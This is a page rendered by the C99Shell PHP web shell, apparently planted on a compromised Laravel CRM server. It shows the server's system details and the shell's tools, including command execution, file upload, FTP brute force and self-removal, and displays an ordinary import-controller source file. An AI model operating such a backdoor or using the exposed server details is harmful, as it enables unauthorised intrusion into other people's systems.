!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Settings/DataTransfer/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImportController.php (14.57 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Settings\DataTransfer;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\RedirectResponse;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\View\View;
use 
Webkul\Admin\DataGrids\Settings\DataTransfer\ImportDataGrid;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\DataTransfer\Helpers\Import;
use 
Webkul\DataTransfer\Repositories\ImportRepository;

class 
ImportController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
ImportRepository $importRepository,
        protected 
Import $importHelper
    
) {}

    
/**
     * Display a listing of the resource.
     */
    
public function index(): View|JsonResponse
    
{
        if (
request()->ajax()) {
            return 
datagrid(ImportDataGrid::class)->process();
        }

        return 
view('admin::settings.data-transfer.imports.index');
    }

    
/**
     * Show the form for creating a new resource.
     */
    
public function create(): View
    
{
        return 
view('admin::settings.data-transfer.imports.create');
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function store(): RedirectResponse
    
{
        
$importers array_keys(config('importers'));

        
$this->validate(request(), [
            
'type'                => 'required|in:'.implode(','$importers),
            
'action'              => 'required:in:append,delete',
            
'validation_strategy' => 'required:in:stop-on-errors,skip-errors',
            
'allowed_errors'      => 'required|integer|min:0',
            
'field_separator'     => 'required',
            
'file'                => 'required|mimes:csv,xls,xlsx,txt',
        ]);

        
Event::dispatch('data_transfer.imports.create.before');

        
$data request()->only([
            
'type',
            
'action',
            
'process_in_queue',
            
'validation_strategy',
            
'validation_strategy',
            
'allowed_errors',
            
'field_separator',
        ]);

        if (! isset(
$data['process_in_queue'])) {
            
$data['process_in_queue'] = false;
        } else {
            
$data['process_in_queue'] = true;
        }

        
$import $this->importRepository->create(
            
array_merge(
                [
                    
'file_path' => request()->file('file')->storeAs(
                        
'imports',
                        
time().'-'.request()->file('file')->getClientOriginalName(),
                        
'public'
                    
),
                ],
                
$data
            
)
        );

        
Event::dispatch('data_transfer.imports.create.after'$import);

        
session()->flash('success'trans('admin::app.settings.data-transfer.imports.create-success'));

        return 
redirect()->route('admin.settings.data_transfer.imports.import'$import->id);
    }

    
/**
     * Show the form for editing a new resource.
     */
    
public function edit(int $id): View
    
{
        
$import $this->importRepository->findOrFail($id);

        return 
view('admin::settings.data-transfer.imports.edit'compact('import'));
    }

    
/**
     * Update a resource in storage.
     */
    
public function update(int $id): RedirectResponse
    
{
        
$importers array_keys(config('importers'));

        
$import $this->importRepository->findOrFail($id);

        
$this->validate(request(), [
            
'type'                => 'required|in:'.implode(','$importers),
            
'action'              => 'required:in:append,delete',
            
'validation_strategy' => 'required:in:stop-on-errors,skip-errors',
            
'allowed_errors'      => 'required|integer|min:0',
            
'field_separator'     => 'required',
            
'file'                => 'mimes:csv,xls,xlsx,txt',
        ]);

        
Event::dispatch('data_transfer.imports.update.before');

        
$data array_merge(
            
request()->only([
                
'type',
                
'action',
                
'process_in_queue',
                
'validation_strategy',
                
'validation_strategy',
                
'allowed_errors',
                
'field_separator',
            ]),
            [
                
'state'                => 'pending',
                
'processed_rows_count' => 0,
                
'invalid_rows_count'   => 0,
                
'errors_count'         => 0,
                
'errors'               => null,
                
'error_file_path'      => null,
                
'started_at'           => null,
                
'completed_at'         => null,
                
'summary'              => null,
            ]
        );

        
Storage::disk('public')->delete($import->error_file_path ?? '');

        if (
request()->file('file') && request()->file('file')->isValid()) {
            
Storage::disk('public')->delete($import->file_path);

            
$data['file_path'] = request()->file('file')->storeAs(
                
'imports',
                
time().'-'.request()->file('file')->getClientOriginalName(),
                
'public'
            
);
        }

        if (! isset(
$data['process_in_queue'])) {
            
$data['process_in_queue'] = false;
        }

        
$import $this->importRepository->update($data$import->id);

        
Event::dispatch('data_transfer.imports.update.after'$import);

        
session()->flash('success'trans('admin::app.settings.data-transfer.imports.update-success'));

        return 
redirect()->route('admin.settings.data_transfer.imports.import'$import->id);
    }

    
/**
     * Remove the specified resource from storage.
     */
    
public function destroy(int $id): JsonResponse
    
{
        
$import $this->importRepository->findOrFail($id);

        try {
            
Storage::disk('public')->delete($import->file_path);

            
Storage::disk('public')->delete($import->error_file_path ?? '');

            
$this->importRepository->delete($id);

            return 
response()->json([
                
'message' => trans('admin::app.settings.data-transfer.imports.delete-success'),
            ]);
        } catch (
\Exception $e) {
        }

        return 
response()->json([
            
'message' => trans('admin::app.settings.data-transfer.imports.delete-failed'),
        ], 
500);
    }

    
/**
     * Show the form for creating a new resource.
     */
    
public function import(int $id): View
    
{
        
$import $this->importRepository->findOrFail($id);

        
$isValid $this->importHelper
            
->setImport($import)
            ->
isValid();

        if (
$import->state == Import::STATE_LINKING) {
            if (
$this->importHelper->isIndexingRequired()) {
                
$state Import::STATE_INDEXING;
            } else {
                
$state Import::STATE_COMPLETED;
            }
        } elseif (
$import->state == Import::STATE_INDEXING) {
            
$state Import::STATE_COMPLETED;
        } else {
            
$state Import::STATE_COMPLETED;
        }

        
$stats $this->importHelper->stats($state);

        
$import->unsetRelations();

        return 
view('admin::settings.data-transfer.imports.import'compact('import''isValid''stats'));
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function validateImport(int $id): JsonResponse
    
{
        
$import $this->importRepository->findOrFail($id);

        
$isValid $this->importHelper
            
->setImport($import)
            ->
validate();

        return new 
JsonResponse([
            
'is_valid' => $isValid,
            
'import'   => $this->importHelper->getImport()->unsetRelations(),
        ]);
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function start(int $id): JsonResponse
    
{
        
$import $this->importRepository->findOrFail($id);

        if (! 
$import->processed_rows_count) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.data-transfer.imports.nothing-to-import'),
            ], 
400);
        }

        
$this->importHelper->setImport($import);

        if (! 
$this->importHelper->isValid()) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.data-transfer.imports.not-valid'),
            ], 
400);
        }

        if (
            
$import->process_in_queue
            
&& config('queue.default') == 'sync'
        
) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.data-transfer.imports.setup-queue-error'),
            ], 
400);
        }

        
/**
         * Set the import state to processing
         */
        
if ($import->state == Import::STATE_VALIDATED) {
            
$this->importHelper->started();
        }

        
/**
         * Get the first pending batch to import
         */
        
$importBatch $import->batches->where('state'Import::STATE_PENDING)->first();

        if (
$importBatch) {
            
/**
             * Start the import process
             */
            
try {
                if (
$import->process_in_queue) {
                    
$this->importHelper->start();
                } else {
                    
$this->importHelper->start($importBatch);
                }
            } catch (
\Exception $e) {
                return new 
JsonResponse([
                    
'message' => $e->getMessage(),
                ], 
400);
            }
        } else {
            if (
$this->importHelper->isLinkingRequired()) {
                
$this->importHelper->linking();
            } elseif (
$this->importHelper->isIndexingRequired()) {
                
$this->importHelper->indexing();
            } else {
                
$this->importHelper->completed();
            }
        }

        return new 
JsonResponse([
            
'stats'  => $this->importHelper->stats(Import::STATE_PROCESSED),
            
'import' => $this->importHelper->getImport()->unsetRelations(),
        ]);
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function link(int $id): JsonResponse
    
{
        
$import $this->importRepository->findOrFail($id);

        if (! 
$import->processed_rows_count) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.data-transfer.imports.nothing-to-import'),
            ], 
400);
        }

        
$this->importHelper->setImport($import);

        if (! 
$this->importHelper->isValid()) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.data-transfer.imports.not-valid'),
            ], 
400);
        }

        
/**
         * Set the import state to linking
         */
        
if ($import->state == Import::STATE_PROCESSED) {
            
$this->importHelper->linking();
        }

        
/**
         * Get the first processing batch to link
         */
        
$importBatch $import->batches->where('state'Import::STATE_PROCESSED)->first();

        
/**
         * Set the import state to linking/completed
         */
        
if ($importBatch) {
            
/**
             * Start the resource linking process
             */
            
try {
                
$this->importHelper->link($importBatch);
            } catch (
\Exception $e) {
                return new 
JsonResponse([
                    
'message' => $e->getMessage(),
                ], 
400);
            }
        } else {
            if (
$this->importHelper->isIndexingRequired()) {
                
$this->importHelper->indexing();
            } else {
                
$this->importHelper->completed();
            }
        }

        return new 
JsonResponse([
            
'stats'  => $this->importHelper->stats(Import::STATE_LINKED),
            
'import' => $this->importHelper->getImport()->unsetRelations(),
        ]);
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function indexData(int $id): JsonResponse
    
{
        
$import $this->importRepository->findOrFail($id);

        if (! 
$import->processed_rows_count) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.data-transfer.imports.nothing-to-import'),
            ], 
400);
        }

        
$this->importHelper->setImport($import);

        if (! 
$this->importHelper->isValid()) {
            return new 
JsonResponse([
                
'message' => trans('admin::app.settings.data-transfer.imports.not-valid'),
            ], 
400);
        }

        
/**
         * Set the import state to linking
         */
        
if ($import->state == Import::STATE_LINKED) {
            
$this->importHelper->indexing();
        }

        
/**
         * Get the first processing batch to link
         */
        
$importBatch $import->batches->where('state'Import::STATE_LINKED)->first();

        
/**
         * Set the import state to linking/completed
         */
        
if ($importBatch) {
            
/**
             * Start the resource linking process
             */
            
try {
                
$this->importHelper->index($importBatch);
            } catch (
\Exception $e) {
                return new 
JsonResponse([
                    
'message' => $e->getMessage(),
                ], 
400);
            }
        } else {
            
/**
             * Set the import state to completed
             */
            
$this->importHelper->completed();
        }

        return new 
JsonResponse([
            
'stats'  => $this->importHelper->stats(Import::STATE_INDEXED),
            
'import' => $this->importHelper->getImport()->unsetRelations(),
        ]);
    }

    
/**
     * Returns import stats
     */
    
public function stats(int $idstring $state Import::STATE_PROCESSED): JsonResponse
    
{
        
$import $this->importRepository->findOrFail($id);

        
$stats $this->importHelper
            
->setImport($import)
            ->
stats($state);

        return new 
JsonResponse([
            
'stats'  => $stats,
            
'import' => $this->importHelper->getImport()->unsetRelations(),
        ]);
    }

    
/**
     * Download import error report
     */
    
public function downloadSample(string $type)
    {
        
$importer config('importers.'.$type);

        return 
Storage::download($importer['sample_path']);
    }

    
/**
     * Download import error report
     */
    
public function download(int $id)
    {
        
$import $this->importRepository->findOrFail($id);

        return 
Storage::disk('public')->download($import->file_path);
    }

    
/**
     * Download import error report
     */
    
public function downloadErrorReport(int $id)
    {
        
$import $this->importRepository->findOrFail($id);

        return 
Storage::disk('public')->download($import->file_path);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0126 ]--